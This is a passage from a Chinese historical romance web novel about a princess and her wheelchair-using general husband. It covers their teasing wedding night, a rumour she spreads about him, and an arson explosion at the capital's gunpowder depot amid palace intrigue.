陆颂渊看了景回一眼,原本到了嘴边的话转了一圈,又咽回肚子里。
“哪里也不去。还请殿下先沐浴歇息吧。”
景回轻哼,站起身后身穿手指隔空点了点陆颂渊,警告地说道:“夫妻一体,婚后我才是你最亲近的人。日后有何事,你当与我商量才是。”
陆颂渊愣住,一时不知如何作答。
从来没有人跟他说过这般的话,也从未有人敢与他这
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般讲话。
陆颂渊点了点头,说道:“全听殿下的。”
“你最好是。”
扔下这句话,景回便去了净室。
一番梳洗过后,她穿着红色寝衣走进屋中,见陆颂渊还坐在桌边看书。
景回满意路过他身后,去了妆台前。
陆颂渊看了景回一眼,随后吩咐陆清越推他去净室。
景回转头看去,待屋中没人了,她才拍了拍阿鱼的胳膊说道:“快将避火图收起来!”
桌上有遮挡之物,她方才放在了绸缎之下,陆颂渊应当是没看见的。
阿鱼领命收起来,这厢阿颜也帮景回绞干了头发。
累了一日,景回转头就往床上扑。
喜被柔软,景回用脸蹭了蹭,“嗯!好舒服,今夜可以睡个好觉了。”
阿鱼和阿颜站在床边,看着在床中间扑腾的自家公主,齐齐摇头。
这刚看了避火图,转头便忘了,新婚之夜,怎可能睡得好?
月挂檐角,景回躺在床内,晕晕乎乎快睡着时,才听见了轮椅滚动的声音。
她登时清醒过来,趴在枕上,瞪着大眼看着坐着轮椅过来的陆颂渊。
沐浴过后,他乌发随意披在脑后,身穿与景回一样的寝衣,倒是比方才身着喜服之时更显柔和。
陆清越一路将他推到床边。
因着他的腿多有不便,将军府中的床修建之时,床边都有一个小巧的借力机关。
陆颂渊将轮椅扶手卡在机关上,吩咐道:“你们先出去吧。”
闻言陆清越率先向外走去,走了几步见公主的两位婢女并未动,不由得停下了脚步。
陆清越咳了一声,刚想说什么,景回便反应了过来。
虽不知陆颂渊腿疾严重到何种地步,想来借力上床的姿势不会好看。
“你们都出去吧,这里不用守夜。”
景回摆摆手,朝着窗内一躺,吩咐道:“出去的时候把灯给本公主熄了。”
“是。”
三人一同退下,屋内也暗了下来。
片刻后,身后有了些衣物摩擦的动静,随后便是几声或长或短的呼吸声,而后床帐放下,喜被被掀起,有人躺在她身后,静寂无声。
两人谁也没提那事,分了楚河汉界,都一股长睡的架势。
外面似乎下了些雨,檐口落下的雨一滴滴砸在台阶上,吵得人烦。
陆颂渊幼时便随军,这些年风餐露宿,茹毛饮血,哪怕后来升为将军,所在之处也多有危险。
是以他从不睡软床,不穿柔软的衣裳,随时警惕着周围。
今日这床软得似躺在云端,帐中还有股若有若无的香气,陆颂渊动了下手臂,感觉到一股痒意。
他偏头看去,是景回的发梢蹭在了他手臂上。
陆颂渊僵了下,闭上眼。
明明两人都未动,那发梢却在他手臂上滑动个不停。
陆颂渊想起方才随手拿起桌上的书中的画面,顿时口干眼花,一股燥意。
不能再待下去了。
陆颂渊睁开眼,猝不及防和一双亮亮的桃花眸对上了。
景回不知何时醒来,正半撑着身子看向他。
两人之间距离不过一臂,他竟这般不警觉,都未发现。
“殿下……”
陆颂渊想起身,景回快速按住他,随后两手撑住他的肩膀,跨坐在了陆颂渊身上。
不知坐在何处,陆颂渊闷哼一声。
“洞房花烛夜。”
景回俯身凑近陆颂渊问:“你要去哪儿?”
8. 别动。
借着窗外的月光,景回看见陆颂渊眼中有一丝愤怒。
她憋着笑,按着陆颂渊肩膀的手用了些力,往前趴了趴,“说呀。”
这般动作使得二人之间距离更近了些,景回说话时呼出的香气铺满陆颂渊面门,他滚了滚喉结,偏头说道:“臣睡觉不老实,怕夜间压到公主,去隔间睡便是。”
“新婚第一日便分房?”
景回稍微坐起身,“你不怕我去父皇面前告状,与你和离吗?”
她这般说,陆颂渊果然不动了。
只是放在身侧的两只手攥住了被子。
臀.下不知坐在何处,硌人得很。
景回晃了晃身体,心说方才并未看见陆颂渊寝衣腰间挂着什么物件啊。
她本想转头去看,又怕陆颂渊趁她不备偷袭,只好伸手向后摸去。
摸到了一硬物,景回皱皱眉。
还不待细究,陆颂渊便一把握住景回的手腕,“殿下!”
景回被他拉得另一只手一滑,整个人径直趴在了他胸口,磕得脸颊疼。
耳侧是他的心跳声,景回要起身,陆颂渊紧握着她的手腕不肯松开。
“别动了。”
陆颂渊的声音有些哑。
“凭什……”
景回挣扎了下,忽然想起那避火图中所画,意识到自己坐在何处,身子骤然僵住。
“你松开我!”
陆颂渊怕她乱动,还是不肯松手。
景回转着手腕,委屈地说道:“你弄疼我了。”
陆颂渊愣了下,随即松开手。
以防景回乱动,他松手之后便快速伸出双手撑在景回胳膊下,像抱小孩般将她往上提了提,让她坐在他腹上的位置。
景回双手扶在陆颂渊胸口,怒道:“陆颂渊!”
从陆颂渊这厢看去,景回坐在他身上,长发散在肩后,身后月光似为她披上一层薄纱。
因着方才的闹腾,她寝衣领口微开,五官模糊看不清楚,那双桃花眸却很亮,正在怒视他。
腰间越发得热,陆颂渊从来没有遇见过景回这般“棘手”的人,说说不得,碰碰不得,稍微惹一下便炸毛。
现下她就像是一只被抓住耳朵的兔子,手脚一顿扑腾,红着眼睛想咬人。
他轻叹了口气,“夜深,折腾了一日,殿下还不困吗?”
景回深呼几口气,没了陆颂渊的衔制,她又想做些什么。
“洞房之夜,你都……这样了,还能休息吗?”
景回脸上挂着不怀好意的笑,说道:“本公主知道你身子不便,早早便学好了如何行周公之礼,你躺着不动便是。”
她边说着便抬起臀向后挪,反正看陆颂渊这架势,他是不会在今夜碰她的,景回自然也不会伺候他。
这么干纯属折磨人。
贴着他的腰腹一寸寸往下,眼见两厢又要重新接触,陆颂渊还是没动静。
这下景回有些骑虎难下,她偷瞟了陆颂渊一眼,却在月光之下,见他唇角勾起,似乎在笑。
景回顿时恼火,她咬咬牙便想往下坐。
然而,一双大手托住了她的臀,将她重新抱回胸前,大掌压在她的背上。
陆颂渊戏谑的说道:“殿下,你知道兵家有句古话如何说吗?”
景回趴在陆颂渊胸前,背伤沉甸甸的大掌竟莫名安抚了她,她闻着陆颂渊身上的清香,放松身体,闷闷地问道:“什么?”
脖颈间不断微小的气息拂过,陆颂渊道:“杀敌一千,自损八百。”
他说完后,手下移放在景回腿上,将她稳稳抱向床内放下。
“你!”
景回一个翻身想坐起来骂他,又被陆颂渊眼疾手快按在怀中。
“殿下,别动了。”
陆颂渊腰部发力,拖着腿侧过身来躺着,一手枕在耳下,一手压在景回背上,低头看着她。
他发现只要将手放在景回背上,景回便会乖的出奇。
她趴在枕上,眨着水眸,嘴里还是不饶人,“你个混蛋,不许碰我!”
“嗯,不碰。”
陆颂渊拍了拍景回的背,“睡吧殿下,莫要闹了。”
“谁闹了,你不许再动了。”
景回嘟囔一句,把头转去另一边,不看陆颂渊。
陆颂渊看了她一眼,随后闭上眼,就在快睡着之时,他感觉到手下身子悄悄往他怀中靠了靠。
-
一夜无梦,醒来天光大亮。
景回睁眼便对上两双好奇的眼睛,登时吓了一跳。
“你们干什么!”
阿鱼和阿颜趴在床边看着景回,俩人脸上还有些担心的神情。
阿鱼问道:“公主,你还好吗?”
景回松了口气躺回枕头上,扯了扯被子说道:“除了差点被你们吓坏,别的没什么不好。”
阿鱼看了阿颜一眼,又问道:“您怎么昨夜没要水呢?”
景回疑惑,“要水干什么?”
“沐浴啊。”
“本公主睡前沐浴过了啊。”
一时安静,三人大眼对小眼,最后还是阿颜问道:“公主,昨夜洞房,你和将军可行周公之礼了?”
“并未。”
想起昨夜睡前之事,景回脸颊有些发热,她咬牙道:“可恶,陆颂渊按了我一夜,都没有报仇!”
二人缓缓松了口气,对视之后了然,又庆幸又无奈。
阿鱼道:“殿下您真是,女中豪杰!”
“自然。”
景回应了阿鱼,起身便抓她,“你别以为我不知道你在羞我!”
“公主,奴婢错啦!”
二人这厢闹着,阿颜带着笑缓缓站去一旁。
自家公主朝政之事敏锐度高于任何皇子,甚至有些看法景文帝都吃惊,偏在这男女之事上,单纯的可怕。
满心皆是报仇,不掺杂一丝情感。
阿颜摇头笑,去一旁桌上给景回端来润喉汤羹。
“殿下,这是今晨陆将军吩咐给您做的汤羹,说是北境的口味,您尝尝可还行?”
景回松开阿鱼,接过汤羹。
汤羹清澈见底,若藕粉之清透,但又不是藕粉,碗中央两朵茉莉点缀,清香幽幽升起。
但,无事献殷勤。
哼。
景回拿起勺子吃下一些,递给阿颜,问道:“陆颂渊去何处了?”
“今晨有北境军报传来,陆将军去了书房议事。”阿颜说道。
景回点点头,忽然计从心中起。
她想起上京传闻陆颂渊强抢民女,无恶不作,看着屋中来来往往陌生面孔的下人们,奸诈一笑。
阿鱼被景回笑的渗人,“公主,你要干什么……”
景回拉她覆耳过来说道:“你性子活泼,去跟她们联络联络关系,顺便帮我传点消息出去。”
“什么消息?”
景回说完后,阿鱼愣着原地,“这不好吧……”
“你是谁的人!”
“您的!”
阿鱼瞬间站起,“我这就去!”
阿鱼跑出屋,将廊下几个干活的小丫头叫到一起,按照景回的吩咐,怎么夸大怎么说。
公主身边的婢女虽是下人,但气质与她们不同,是以阿鱼很容易就被人信任。
谣言这般一传十,十传百,不到一个时辰,府中便传遍了。
陆颂渊处理完北境之事,又和登门拜访的贵客一同从书房走出来时,正巧有个丫头抱着扫帚在廊柱边和另一个丫头说话。
二人不知在说什么,入迷得很。
陆颂渊在北境时身边多是粗手粗脚的男人,这些婢女还是二皇子督建将军府时,给他买来的。<
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p>平日里他也不用她们做什么近身的事情,是以并未打算阻止她们。
一行人本想从这二人身后默默过去,走近之时,一个丫头的疑问幽幽飘到众人耳中。
“将军当真不·举?”
众人一同怔在原地。
陆颂渊长眸微眯,斜晲向那二人。
紧接着便是另一位婢女的声音,“对啊,是从后院传出来的!昨夜大婚,将军如何公主自然最是清楚!听说连水都没要……”
“啊?公主正是如花似玉的年纪,岂会受这种苦,她会不会与将军和离?”
陆青越憋着笑看了眼陆颂渊。
婚事来之不易,他家主子最不想听见有人说和离二字。
这俩丫头这是踩在刀尖上跳舞呢。
“这谁能说得清。”婢女下巴抵着扫把,“若是不想的话,公主也不会让阖府上下都知道吧,怕是已经有了……”
阖府上下,几百个人。
这身后还有外人。
眼见陆颂渊脸色越来越黑,陆青越连忙上前呵斥道:“青天白日的,说什么呢,脑袋不想要了?”
那俩婢女吓了一跳,回头对上陆颂渊似冰封的眸子,皆是吓了一哆嗦,连忙跪下请罪,“奴婢胡言乱语,将军饶命啊!”
“将军恕罪,将军饶命啊!”
陆颂渊道:“青越,将人送去给殿下。”
想也知道是谁干的好事,陆颂渊抿了下唇。
这下好了,彻底被盯上了,日后这府中怕是热闹的要将房顶掀了。
贵客看了一场好戏,以为是二人之间的小情.趣。
闻言连忙告辞道:“老臣先行告退,不打扰将军处理家事。”
陆颂渊微微向后偏头,点了下头吩咐管家道:“你好生送大人出去。青越,我们走。”
“是。”
陆青越随手薅了根树叶子叼在嘴里,推着陆颂渊带着那两个婢女往寝殿走去。
结果寝殿内外找了一圈都未看见景回,陆颂渊食指点了轮椅,若有所思。
新婚第二日,新婚夫妇有何事要做来着?
“陆将军,您怎么回来了?”
阿颜的声音传来,她带着几个婢女搬着酒钢,从廊下走来。
“嗯。”
陆颂渊问:“殿下去何处了?”
阿颜看了眼陆青越身后二人,说道:“新婚第二日公主当与将军一同拜见公婆。”
陆颂渊愣住,他的父母皆已经不在了。
“公主去祠堂为二位上香了。”
阿颜道:“她吩咐下人去找您了,不过将军不知的话,想来当是您与报信之人错过了。”
陆颂渊皱眉。
“这是干什么呢?”
景回的声音从身后传来,众人一同转身看去。
今日她并不出门,只用凤翎和合簪梳了个简单的发髻,一身水洗蓝裙穿在身上,腰间一根飞鹤腰封,完美勾勒出她的身形。
她脚步轻盈,飘似的来到陆颂渊面前,歪头瞧了瞧那婢女,转头问陆颂渊,“这不是我派去报信的人吗,她怎么惹你了,竟把她吓成这样。”
陆颂渊问道:“殿下让她报的什么信?”
景回笑道:“你听到的是什么就是什么信咯。”
这般坦然。
景回捂唇,“将军又不在乎这些,您这般威猛,想来没几人会信。”
陆颂渊黑脸。
信不信是一回事,这般的传言堪比动摇军心之言了,哪个男人会放任妻子传这些!
陆青越噗嗤一笑。
景回看了陆青越一眼,俯身凑近陆颂渊。
刚想再说几句话气气他,却忽然瞟见陆颂渊脖颈衣领掩盖之下,似乎有一道红印。
像是被人抓的。
景回长眉蹙起,拨开陆颂渊的衣领问道:“这是什么?”
9. 传闻。
陆颂渊偏头看去,握住景回的手腕,“晨起更衣时无意伤了的,公主不必担心。”
景回才不信。
忽然想起前阵子上京城中的传闻,说陆颂渊淫.魔转世,屠城之后净掳掠美貌女子去他帐中,夜夜笙歌。
景回美目圆瞪,甩开陆颂渊的手腕说道:“我才不信。你今晨和何人在书房?”
“从前与父亲交好的故人。”陆颂渊道。
景回看了他一眼,又俯身凑近陆颂渊的脖子。
她拉开陆颂渊的衣领,细细看过那伤口,越看越像是指甲划过的痕迹。
陆青越上前道:“公主,今晨属下给将军穿衣时,不慎划伤了将军,还请公主降罪。”
鼻间飘过一股药香气,景回站起身看向陆青越。
陆青越本是和她对视,后来眨眨眼低下了头。
景回没管他,心中又起了试探的想法。
她看着陆颂渊说道:“婚前并未说清楚,现下说也不迟。本公主决不允许你纳妾,也看不惯男人三妻四妾,四处留情的作风。”
陆颂渊点头,“殿下放心,我不会。”
这般爽快。
“最好如此。”
景回看了眼陆颂渊身后,说道:“人给我,我要带走。”
陆颂渊抬起手勾了下手指,后方婢女被松开,他道:“殿下的人,自是您说了算。”
“哼。”
景回朝着陆颂渊重重哼一声,转身便走。
陆颂渊看着景回的背影,理了下衣领盖住了伤口。
待景回走远些,陆青越把手中树叶子扔去一旁,抱臂看着前方说道:“公主金枝玉叶,性子娇贵,将军日后可有福气咯。”
“小事。”
陆颂渊拨了下轮椅,“让让又何妨。”
“属下幼时跟在您身边,还没见过您这般好心肠过。”
陆青越上前握住扶手,推着他跟着景回身后,笑问:“将军,您怕就是对公主……”
“事情都办完了?”
陆颂渊冷冷瞥他一眼,说道:“文帝未醒,本将能不能留在京城还未可知,你以为公主入府就万事大吉了吗?”
他这般说,陆青越立刻正色,说道:“昼雪去办了,定不会耽误将军的事。”
“嗯。”
午间景回和陆颂渊一同用膳,饭桌安静如斯,午膳过后,景回便带着人去了府中后院。
景傲带人修缮之时,所按皆是宫中规格,是以后院这些花草用的都是宫中花房所培出,颜色繁多却不显俗气,种类繁多花香也不呛人。
最要紧的,后院之中有和锦绣宫一样茂盛的几颗葡萄树,树枝搭起成了遮天的葡萄架,架子下方放着榻和案几,躺在上面赏景甚是舒适。
“公主,地窖在这边。”
将军府的下人们引着景回向前走,她来后院最要紧的便是寻地窖,锦绣宫中的那些酒不在她身边,景回不安心。
偌大一个后院,地窖便占了一半,与锦绣宫大小一般。
景回越看越满意,琢磨着三日之后回宫,便将酒搬来一部分放着。
后院如同桃花源,现下离了宫,皇帝还未醒来,暂时不用忧心皇宫之事,是以景回坐在葡萄架下睡了半晌。
秋日里天黑的早了些,夜间还有些凉风,景回睡前吩咐了不准打扰她,醒来之时,天已经黑了。
守在一旁的阿鱼道:“公主您终于醒啦!”
景回眨眨眼,看着头顶葡萄树叶缝隙之间闪动的星点,含糊地问道:“嗯,我饿了。”
阿鱼道:“晚膳早就备好了,将军等您回去用膳呢。”
提起陆颂渊,景回便想起方才似乎梦中似乎梦见他了。
只是梦的内容记不大清了,反正不是什么好梦。
“嗯。”
景回由着阿鱼给她穿披风,一阵风吹过,“今年的冬日仿佛来的早了些。”
“是呢。”
阿鱼边系带子边说道:“这才秋日,便……”
轰——
两人这厢话音未落,上京的西南角忽然传来一声巨响,景回感觉脚下土地似乎都晃了晃。
阿鱼快步护着景回跑到空地上,大声道:“来人,发生何事了?”
后院众人不知,巨响之后有片刻的无声,随即便是府中下人嘈杂的声音。
转角处,一向稳重的阿颜快步朝着景回跑来,“公主,南郊火药库炸了!”
“什么!”
景回松开阿鱼,抬步便往外走,边走边问道:“如何炸的,可有百姓伤亡,给本公主备马!”
于百姓有关之事,景回向来看重得很,她一脸严肃,眸中散出锐利的光。
“马在府门口了,具体情况还不知。”
阿颜跟在景回身后,焦急地说道:“天快黑了,公主您还是莫要前去了。”
“无事,走。”
景回说完后便脚步匆匆往府外走去。
“阿鱼留在家里。”
阿鱼道:“是。”
大梁是天下第一个发现火药,并且将火药用在战事之上的国家。
凭借这些火药,大梁研制出了许多先进的兵器,譬如离火箭,投炸包,铁铳等,皆已用在了东南战场之上,帮助大梁拓宽了沿海之处不少版图。
可以说火药现下已是大梁的国之命脉,景文帝十分看重火药,请了国师占卜出十六处国脉充盈之处建立火药库。
大梁最大的火药库就在上京南郊名为深山的半山腰上。
那里守备森严,上山之路机关众多,这些年从未出现过问题。
怎地会突然炸了?
一路走过廊下,景回的粉白披风划过廊下将枯的花儿,下台阶之时,一人挡在她面前。
“殿下这般匆匆,可是出了什么事吗?”
陆颂渊手中拿着不知何物,问景回道。
景回看了他一眼,大步从他面前走过,“不牢费心。”
又见他身后无一人,扔下一句,“腿脚不好,深夜莫出来乱走。”便出了府门。
门口正停着景回的马,她三步并做两步下台阶,踩着脚蹬一跃上马,随后朝着深山奔去。
上京百姓皆听见了异响,太平大街上人头众多,都在讨论着什么。
景回驭马穿过人群,阿颜跟在她身后扬声安抚百姓。
马蹄一刻不停直到深山脚下时已经夜深,深山上到处都是火把,恍若白昼。
“公主!”
六部之中要臣来了不上,兵部尚书沈群看见景回,连忙上前行礼:“老臣参见公主!”
众臣也跟着他行礼。
“众位不必多礼。”
景回把马扔给阿颜,抬步向着山脚人群处走去,边
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走边问沈群,“山上如何?可有人去看过了?”
“方才陆将军的副将出去办事,经过深山之时正巧遇上爆炸。”沈群说道:“现下陆副将带着人和兵部的人都在深山上,还并无消息传下来,深山周围也已经封锁了巡查了。”
陆颂渊的人?
景回皱皱眉。
沈群道:“公主,丞相大人也在此。”
离得近了,景回这才看见人群之首一人身形孤傲,仿佛嘈杂之中的镇山石,他双手背后站的笔直,眼神锐利如鹰隼,正炯炯盯着上山入口。
正是当朝丞相,连忠。
他是景回外祖的学生,景回每每看见连忠,便总能想起她的外祖。
“丞相。”
景回上前行礼。
听见景回的声音,连忠转过身来。
他身形高大,方面大耳,胡须梳理得一丝不苟,显得古板严肃。开口时声音粗粝,又刻意压着语调,生怕吓着景回似的,“公主来了。”
“嗯,在府中听见爆炸声。”
景回点点头,“火药库如何了?”
“暂且不知。”
连忠说道:“兵部和陆将军的人现下都在山上,想来快有消息了。”
这厢连忠话音刚落,山口便出现了两拨人。
陆青越为一波,兵部之人为一波。
兵部众人身上干干净净,陆青越他们身上却都是黑灰,隐隐还有一股火药味。
陆青越看见景回,大步走上前来,行礼道:“属下拜见公主,拜见丞相及各位大人。”
身后众人纷纷行礼,景回看了他一眼,问道:“火药库如何?”
“属下并未进火药库,只在门口帮几位大人做事,火药库外并无大事。”
陆青越说着,转头看向了兵部之人。
兵部之人上前说道:“大库之外及库门并未发现异常,但库内的一个小仓库门锁有明显撬开的很内,内里也发现了起火点,可见是有人故意点燃火药的。”
景回眉宇间攀上怒色,问道:“可有人伤亡?”
“并无!被点燃的火药库在最外侧,也并未造成其余损失。”
闻言景回稍松了口气,知道此人所说的火药库在何处,那里的储量可供三千兵将使用。
损失并不小。
她下令道:“封山,搜人!”
“是!”
兵部之人立刻戒备,有序地跑向各处。
景回抬步向上,打算亲自上山看看。
连忠阻止道:“公主,夜深了,歹人不知在何处,您就是上去,也只是查看情况,不如先回府歇息吧,明日有消息,臣立刻派人去报公主。”
景回看了眼山路,她幼时为人所害,被人仍在深山中孤零零待了一夜,还是连忠将她救出。
自此以后,她便开始畏惧黑夜中的山。
“将军府在皇宫之后,您都能听到爆炸声,宫中的各位皇子们自然也能听见。”
连忠捋了捋胡须,“公主只身来此,已然大义,有时不必将自己逼那么紧。”
景回知晓他何意,点了点头。
“多谢丞相教诲。”
连忠抬了下唇角,“恭送公主。”
景回点点头,朝着阿颜走去,想骑马回府。
阿颜拉着马绳,脸色复杂地说道:“公主,陆将军来了。”
10. 狐妖。
景回一愣,看向远处树前那盏忽明忽暗的马车灯。
“陆颂渊?”
景回皱皱眉,偏头看向身后的陆青越。
若说方才看见陆青越的出现让景回疑惑,现下听见陆颂渊的名字才是彻底让景回觉得不对劲。
陆青越眼神坦荡,说道:“夜深山路滑,公主可要上马车?”
今夜的种种事太过奇怪,似乎有一团包裹陆颂渊和陆青越的疑云,久久挡在景回面前不散。
景回性子向来明快果决,若是旁的人,她定铁血手腕在今夜便审出个所以然,但偏偏可疑之人是她的身边人。
景回最恨身边之人算计她。
“你牵着本公主的马,走回去。”
景回把手中马鞭向后一抛,“阿颜看着他。”
阿颜道:“是。”
陆青越接住马鞭,怔了片刻后才朝着景回的背影行礼道:“是。”
-
走得近了,景回才看到马车高大,车轮上绑着链子,车内装饰并非是她的马车。
“殿下。”
陆颂渊坐在车内的轮椅上拱手行礼,“请上马车。”
景回在下人的搀扶上坐上马车,车内空间很大,应当是为了放下陆颂渊的轮椅,装饰也简单,桌上仅有一盏灯,两盏茶和一本书。
景回坐在陆颂渊对面,抱着手臂靠在车壁,用审视的眼神看着陆颂渊问道:“你如何会来?”
马车缓缓向上京城中走去,陆颂渊把桌子中的那盏茶往景回面前推了推说道:“方才殿下刚急匆匆出门,宫中便来了人。”
宫中?
景回扬扬眉问:“谁?”
“是二皇子。”
陆颂渊抿了口茶,说道:“二皇子奉陛下之命,说陛下听见了爆炸声,还请殿下不要出门。”
“我父皇醒了?”
陆颂渊手放在轮椅把手上,点点头道:“应当是。”
“而后呢?”
景回问道:“景傲可回宫复命了?”
“二皇子只是来传陛下之命,离开的方向……似乎不是皇宫。”
“嗯。”
她就知道。
方才那般大的动静,皇子们谁来待一夜,隔日回去都算立功,这不又到了争抢的时候。
景回思索片刻,抬头看向陆颂渊,“你如何与景傲结识的?又为何会来此?”
“婚宴上喝过几杯酒,并不相熟。”
陆颂渊道:“殿下的马车正在重修,臣怕殿下坐不惯我的马车,只好跟来了。”
景回眯眯眼,还不待再说什么,马车外头忽然一阵密集的马蹄声正朝着这边跑来。
陆颂渊这辆马车的车窗大一些,景回推开车窗,果真看见前方骑着白马的景傲。
这匹马是当朝状元献给景傲的,当年状元郎身穿红衣游街一日掷果盈车,收获芳心无数,怎地到了景傲这里,马鞍子似乎都短了些。
也是为难这匹小白马了。
“吁——”
景傲勒马停在景回的车窗前,居高临下说了句:“父皇之命本殿已转达,景回,你竟然在此。”
“如何呢?”
景回伸出手臂摸了下小白马的头,说:“父皇派你来此了吗?”
小白马蹭了蹭景回的掌心。
“小白!”
景傲猛地拽了下缰绳,马儿不安的动了动,“哼,本殿来此自然有我的道理,既然没用,就赶紧让开路回家去!”
“无用之人都不自觉无用,本公主何必听犬吠?”
对于景傲,景回向来是寥寥几语就能将他气怄。
果不其然,景傲怒道:“你!”
这厢众人占着大路正说着话,景傲后方忽然又有一阵儿马蹄声,众人一齐转头看去,只见马上之人正是两位在外办事方归的十二皇子和十六皇子。
“见过皇兄,参见皇姐。”
两人年纪虽小些,却也是从小沉浮于内宫之人,这般大事都上赶着就来了。
“起吧。”
这夜太过热闹,景回无心掺和,但不妨碍她把水搅浑。
“两位皇弟这是从何而来?”
“回皇姐,父皇半月前命我们前去江南送急报,今日方归。”
二位皇子对视一眼,十六皇子说道:“在城外听见爆炸声,特来看看。”
景回挑挑眉,好笑地看了景傲一眼,随后对那二人说道:“爆炸之处在深山上,丞相大人正在此,想来需要身,强,体,健之人上去帮忙,两位皇弟正好,便去吧。”
“当真!”
两人平日便尊敬景回,现下闻言自然是立刻信了。
十六皇子性子急些,说道:“皇兄可要上山,这等小事让皇弟来便是,不劳动皇兄,麻烦皇兄让路。”
景傲脸都黑了,朝野上下谁人不知他身子肥胖,曾一度体虚到需要日日看太医!
“无用之人还是趁早让开路回家去吧。”
景回黠笑一声,关上车窗吩咐道:“咱们走。”
“景回!”
马车悠悠走远,身后的喊声逐渐变小,景回转身喝了一杯茶,嘴角笑意不减。
放下茶杯,景回看向陆颂渊。
陆颂渊方才一直听着二人对话,现下还是那副面无表情的冷峻模样。
景回渐渐收了笑,直言问道:“陆青越为何在深山?”
陆颂渊道:“不知,今日我让他出去办事了。”
陆颂渊轻轻皱眉,似乎真的不知陆青越为何在此,景回心中仍有疑惑,却也不打算再问了。
他是不会说实话的。
景回心怀百姓,一人之仇恨在她心中就如沧海一粟。
她不管陆颂渊来上京是为了什么,只要不动摇社稷,不伤害百姓,不利用于她,景回并不打算管。
毕竟非要说的话,这门婚事于她也有利,但伤害她的事决不能原谅!
景回摸了摸脖子上慢慢愈合的伤口,那里还能感觉到一些凸起。
她佯怒道:“本公主和景傲有深仇,你少跟他接触,听见没有?”
陆颂渊眉峰轻挑,和景回对视一眼后,点头道:“好。”
“哼。”
昨日夜间并未睡好,景回不再与陆颂渊搭话。
马车一路平稳,轻微的摇晃哄得景回昏昏欲睡,她靠着车壁险些睡着,点了下头又忽然惊醒。
陆颂渊这马车实在太硌人了。
景回晃了晃脖子,看见了陆颂渊轮椅之后的小榻。
她走过去坐上去试了试,软和许多。
“你的马车太硌人,本公主要在这里睡觉了。”
景回扯过暗格中的软枕,躺在榻上靠外的地方说:“到了府中唤我。”
“好。”
陆颂渊微微转动轮椅,斜朝着景回,点了点头。
软枕和被子有股空谷幽兰的香气,还有一股陆颂渊身上常有的药香气,景回听着陆颂渊翻书的声音,彻底睡着了。
马车行出深山,将到京城之时,天上传来
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几声鸟叫。
那鸟儿并非是上京之中鸟儿的叫声,嗓音间似乎含着沙砾,嘶哑中带着一丝婉转。
陆颂渊本在看兵书,听见声音后看向景回。
因着方才骑马奔袭的缘故,景回本就松散的发髻更加凌乱。她侧身躺在枕上,脸颊肉微微挤起,几缕发丝搭在她的眉眼鼻尖,随着呼吸飞起又落下。
灯花炸开,灯火晃晃,陆颂渊鬼使神差的朝着景回伸出手。
“呼——”
景回鼻间呼出的气打在陆颂渊指尖,烫了他一下。
陆颂渊猛地顿住。
他在干什么?
景回睡得深,并未被陆颂渊这番动静吵醒。
陆颂渊怔了许久后,手指转了方向,把景回胸前的被子往上拉了拉。
随后指尖点了桌子三下。
马车车窗打开,一只通身黑羽,眼睛血红,尾部蓄着七彩羽毛的隼飞进来落在陆颂渊腿上。
陆颂渊摸了把鸟头,伸手解下鸟腿上的纸条打开。
看完之后,他伸手将那纸条放在灯焰之上,纸条顷刻间化为灰烬。
“回去。”
那鸟蹭了下陆颂渊的手指,而后振翅飞入黑夜,消失在林间。
-
隔日,晨起一阵电闪雷鸣,随即便是瓢泼大雨,衬得原本早该亮了的天似是黑夜般。
“轰隆——”
雷鸣似在头顶,景回被猛地惊醒,唤道:“阿鱼,发生何事了!”
守在床边的阿鱼掀开那层纱帐,俯身拍了拍景回的心口说道:“公主,是雷鸣。”
景回松了口气,方才她梦中正是洪水,那声雷让他险些分不清梦境与真实了。
景回眨眨眼,问道:“几时了?”
“刚卯时初。”
阿鱼问道:“公主您可要起身吃些东西?”
昨夜回来后,景回身子不爽,连晚膳都未用,匆匆洗漱过后便睡下了。
“我要喝黄芪桂圆汤。”
大约是要来癸水了,景回身上酸得很。
“是,奴婢这就去吩咐小厨房。”
“去吧。”
阿鱼退下后,景回本想再睡个回笼觉,但外头惊雷不断,她躺了会儿后还是坐起了身,准备看会儿书。
成婚这两日,连功课都落下了。
她伸了伸懒腰,掀开床帐下床,忽然被窗边一点灯光吸引了目光。
寝殿内昏暗无比,只有外间窗边榻上的方桌上一盏灯摇摇晃晃,堪堪照亮一方天地。
陆颂渊便正坐在那片光亮中。
烛光跳跃在他脸上,将他的侧脸照在窗上,他一手执朱笔,一手握卷,嘴角紧绷,正在认真批改着什么。
若是光看那窗上的影子,便知此人相貌仪表皆堂堂,乃是世间不可多得的俊俏容貌。
意识到心中所想,景回猛地坐直了身子。
她在干什么!
怎地总对着陆颂渊发愣!
听见这厢的动静,陆颂渊微微偏头看过来,嗓音淡淡问道:“殿下醒了。”
“嗯。”
景回不自在地扭过头去,起身去洗漱。
此人莫非是狐妖变的,日后要离他远点!
景回收拾过后,走去榻上,坐在陆颂渊对面,偏头看向窗外。
窗外的天逐渐亮了起来,雷声不见,但大雨瓢泼还在下着。
她端起阿鱼端来的补汤缓缓喝着,忽然想到昨日火药库爆炸之事。
“糟了。”
11. 夫君。
“殿下怎么了?”
陆颂渊闻言抬头看向景回。
景回瞥了他一眼,总归这爆炸之事已经传开,无妨与他说些什么。
她忧心忡忡,“这般大的雨,说不定会引发深山山洪。若是将爆炸之处冲毁,便是一点证据都没有了。”
陆颂渊随着景回的目光看向窗外,他看着外头瓢泼的雨幕,眼中不知藏着何种情绪。
“听闻昨夜丞相一整夜都在带人搜山,想来会有结果,殿下宽心。”
景回真是许久都未听到过这般硬邦邦安慰人的话了。
她斜晲了陆颂渊一眼,“你如何知晓?”
陆颂渊看着景回,“陆青越不敢违抗殿下之命,不久前刚从深山走回来。”
“噗。”
想起昨夜的吩咐,又见陆颂渊语气平静,景回按捺不住笑出了声。
她手放在下颌撑在桌上,笑的眉眼弯弯,问陆颂渊:“你可怪我折腾你的人?”
陆颂渊向来跟不上景回的想法,他摸起茶杯喝了一口,放下后实话实说道:“不会,既已成婚,他们自然都是殿下的人,随殿下吩咐。”
“是吗?”
景回乐了,“那你也是本公主的人,本公主这般吩咐你,你也会照做吗?”
陆颂渊愣了下,“嗯,只要殿下想。”
意识到说了什么,景回嘴角的笑僵住,她在对着一个身有残疾之人说什么!
“咳,抱歉,我并非是……”
“公主!”
景回这厢话未说完,阿颜急匆匆走进来说道:“丞相大人派人来禀报深山之事了。”
“让人进来。”
“是。”
景回以往在锦绣宫自在惯了,并不拘泥于谈事就要去书房。
片刻后来报信之人走了进来,乃是是丞相府中的门客,景回认得她。
“下官白智拜见公主,公主万安。”
